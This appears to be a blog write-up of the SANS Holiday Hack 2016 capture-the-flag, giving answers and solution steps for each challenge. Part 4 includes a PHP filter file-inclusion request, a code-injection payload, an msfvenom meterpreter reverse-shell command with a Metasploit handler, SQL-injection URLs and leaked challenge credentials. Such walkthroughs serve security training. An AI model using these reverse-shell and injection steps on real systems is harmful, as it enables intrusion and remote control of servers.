SANS Holiday Hack 2016

Part 1: A Most Curious Business Card

1: What is the secret message in Santa's tweets?

Answer: bugbounty

Solution: Load all tweets, open developer tools, and turn on preserve log


2: What is inside the ZIP file distributed by Santa's team?

Answer: SantaGram_v4.2.apk

Solution: After exploring the North Pole a bit, I stumbled upon Pepper Minstix in the Workshop who mentioned Although this zip is referenced later it is not the one the question is referring to. The real zip name is hidden at the top of this instagram post. Swapping for in the URL gives you the password protected file. Which the password happens to be bugbounty, the hidden message from the tweets earlier.

Part 2: Awesome Package Konveyance

3: What username and password are embedded in the APK file?

Answer: guest:busyreindeer78

Not too far away from Pepper is our friend Shinny Upatree who is in the Workshop Train Station. He gives a little clue into a tool that can help us decompile SantaGram_v4.2.apk.

git clone  
cd jadx  
./gradlew dist
bin/jadx -d SantaGram_jadx SantaGram_v4.2.apk  
grep -r "password" SantaGram_jadx/  
grep -B1 "password" SantaGram_jadx/com/northpolewonderland/santagram/  

4: What is the name of the audible component (audio file) in the SantaGram APK file?

Answer: discombobulatedaudio1.mp3


grep -r "audio" SantaGram_jadx/  

To get the audio file, use apktool that Bushy Evergreen references. Simply disassemble the resources and copy the file.

apktool d  
cp SantaGram_v4.2/res/raw/discombobulatedaudio1.mp3 .  

Bonus: Using grep to search for http and https in the APK produced a few subdomains of the challenge that might be useful later on.

grep -r "\.com/" | grep -v "android\.com"  

Yes! $IP is in scope! Just make sure you don't launch denial of service attacks, or otherwise interfere with the host's production processing. Dirbuster will not help you. - Mr. Tom Hessman

We shall see about the dirbuster Mr. Tom Hessman!

In Scope Targets  

Part 3: A Fresh-Baked Holiday Pi

After collecting the power cord, heat sink, hdmi cable, sd card, and cranberry pi board the user needs to speak with Holly Evergreen over by the portal. She gives you the cranbian image to perform the next steps.

5: What is the password for the "cranpi" account on the Cranberry Pi system?
Answer: yummycookies

Solution: Going back over by the Christmas tree we see Wunorse Openslae and he refers us to an article for mounting Raspberry Pi images.

6: How did you open each terminal door and where had the villain imprisoned Santa?
Answer: DFER 1978
Elf House #2

To open the door, find both parts of the passphrase inside the /out.pcap file

Answer: santaslittlehelper

Solution: The banner hints that tcpdump will be needed in order to complete the task. However, it is not available to the user that you run as scratchy. Following a hint, sudo -l mentions that tcpdump and strings can run without a password. The man-page for sudo shows that the -u flag allows you to set a user before running a command. The first part of the passphrase is easy to find and can be found using either tcpdump or strings. After trying to find a way to extract the second part's bin file, I stumpled on Jeff McJunkin's hint. Playing with the encodings allowed a simple output with the second part of the passphrase to be found.

sudo -l  
# Matching Defaults entries for scratchy on e06cab9d52fb:
#    env_reset, mail_badpass,
#    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
# User scratchy may run the following commands on e06cab9d52fb:
#    (itchy) NOPASSWD: /usr/sbin/tcpdump
#    (itchy) NOPASSWD: /usr/bin/strings
sudo -u itchy strings /out.pcap  
# <input type="hidden" name="part1" value="santasli" />
sudo -u itchy strings -e l /out.pcap  
# part2:ttlehelper
Santa's Office

To open the door, find the passphrase file deep in the directories.

Answer: open_sesame

Solution: The banner hint suggests some hidden and trick named directories. A simple recursive list of the user's home directory gave some interesting output that was heavily nested in ./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/.

ls -laR | grep -B4 "key"  
find . -name "key_for_the_door.txt" -exec cat '{}' +  
The Corridor



Solution: The terminal emulates the W.O.P.R computer from the movie WarGames. The password is given by responding to the queues with the correct lines from the script.


Find the passphrase from the wumpus. Play fair or cheat; it's up to you.

Answer: wumpus is misunderstood

Solution: No nifty hack on this one, just play wumpus and try not to miss!

Train Station
Answer: 24fb3e89ce2aa0ea422c3d511d40dd84

Solution: The Train Management Console has a Help Menu that uses less to display it. One of the options while using less is to execute a command like !command /bin/bash. The password is located in the Train_Console script or you can bypass it and execute start from the cli.


Bonus: Activating the train allows you to travel back in time to the North Pole circa 1978. Santa is located in the Dungeon For Errant Reindeer (DFER) but doesn't remember how he got there.

Part 4: My Gosh... It's Full of Holes

The Mobile Analytics Server (via credentialed login access)

Answer: Credentials in Source Code

Solution: Log into the analytics server using the credentials harvested from the APK and click the link to discombobulatedaudio2.mp3.

The Dungeon Game


The Debug Server


The Banner Ad Server


The Uncaught Exception Handler Server

Answer: Local File Includes and Code Injection

Solution: Sugarplum Mary gives us the initial insight we need in order to exploit this system. The APK gives you the format in which to make the requests when you dig into how a crash dump request is built. Modifying the request to accommodate the example in the hint returns the handler code.

# gets you the code for the exception handler
curl -vH "Content-Type: application/json" -d '{"data":{"crashdump":"php://filter/convert.base64-encode/resource=exception"}, "operation":"ReadCrashDump"}' "" | base64 -d > exception.php  

There are two primary functions in exception.php, processCrashdump($crashdump) which happens on a WriteCrashDump operation and readCrashdump($requestedCrashdump) on a ReadCrashDump. $crashdump is a parameter nested in the data portion of the JSON content sent to the server.

# snippet from processCrashdump where un-sanitized user input is allowed
$crashdump_encoded = "<?php print('" . json_encode($crashdump, JSON_PRETTY_PRINT) . "');";
# snippet from readCrashdump where the un-sanitized user input can be executed
require($requestedCrashdump['crashdump'] . '.php');  

Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3

The exception handler code references discombobulatedaudio6.mp3 is stored at the webroot for the nginx server.

Bonus: It is possible to get remote access to this server. Build a reverse tcp shell for php using msfvenom. The code for the reverse shell needs to be modified to exclude certain characters but the end result should be something similar to '); $MODIFIED_EXPLOIT print('.

msfvenom -p php/meterpreter/reverse_tcp LHOST=$IP LPORT=$PORT -f raw > ex_shell.php  

Format for the WriteCrashDump reverse tcp shell payload, crashdump.json.

    "operation": "WriteCrashDump",
    "data": "'); $MODIFIED_EXPLOIT print('"

Setup a metasploit handler to receive and setup a meterpreter session.

msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp  
PAYLOAD => php/meterpreter/reverse_tcp

msf exploit(handler) > set LHOST  

msf exploit(handler) > exploit

[*] Started reverse TCP handler on
[*] Starting the payload handler...

In another shell, write the payload to disk and then use the crashdump-XXXXXX from the response in the read request to execute the payload.

curl -vH "Content-Type: application/json" -d @crashdump.json ""  
curl -vH "Content-Type: application/json" -d '{"data":{"crashdump":"crashdump-XXXXXX"}, "operation":"ReadCrashDump"}' ""  

The Mobile Analytics Server (post authentication)

Answer: Nmap, Source Code, and SQL Injection


22/tcp  open  ssh  
| ssh-hostkey:
|   1024 5d:5c:37:9c:67:c2:40:94:b0:0c:80:63:d4:ea:80:ae (DSA)
|   2048 f2:25:e1:9f:ff:fd:e3:6e:94:c6:76:fb:71:01:e3:eb (RSA)
|_  256 4c:04:e4:25:7f:a1:0b:8c:12:3c:58:32:0f:dc:51:bd (ECDSA)
443/tcp open  https  
| http-git:
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Finishing touches (style, css, etc)
| http-title: Sprusage Usage Reporter!
|_Requested resource was login.php
| ssl-cert: Subject:
| Subject Alternative Name:
| Not valid before: 2016-12-07T17:35:00
|_Not valid after:  2017-03-07T17:35:00
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_  http/1.1

Downloading the git repository gives a corrupted instance of the code base. After using this tool, I was able to get the source code. Looking through the git log I noticed mention of authentication updates.

./ -s -v -u
git log  
git checkout 5f0c135e1479d865945577c0a70d0cf39e49cdc7  

Checking out 5f0c135e1479d865945577c0a70d0cf39e49cdc7 provides administrator credentials that are still valid in sprusage.sql.

INSERT INTO `users` VALUES (0,'administrator','KeepWatchingTheSkies'),(1,'guest','busyllama67');  

After logging in with the administrator credentials we see that we now can perform edits. Performing a blank query for usage gives us a UUID that we can attempt to edit.

It seems to be looping for the submitted parameters and building a SQL query. So can we just submit the query parameter in the URL with some arbitrary query?*%20from%20audio  

The column mp3 isn't showing and appears to be blob data from the schema discovered in the git repository. Modifying the query to use to_base64() on mp3 allows for extraction of the audio file.,to_base64(mp3)%20from%20audio  

Use | base64 --decode > discombobulatedaudio7.mp3 to decode the text and get the audio file.

Pasquale D'Agostino

Read more posts by this author.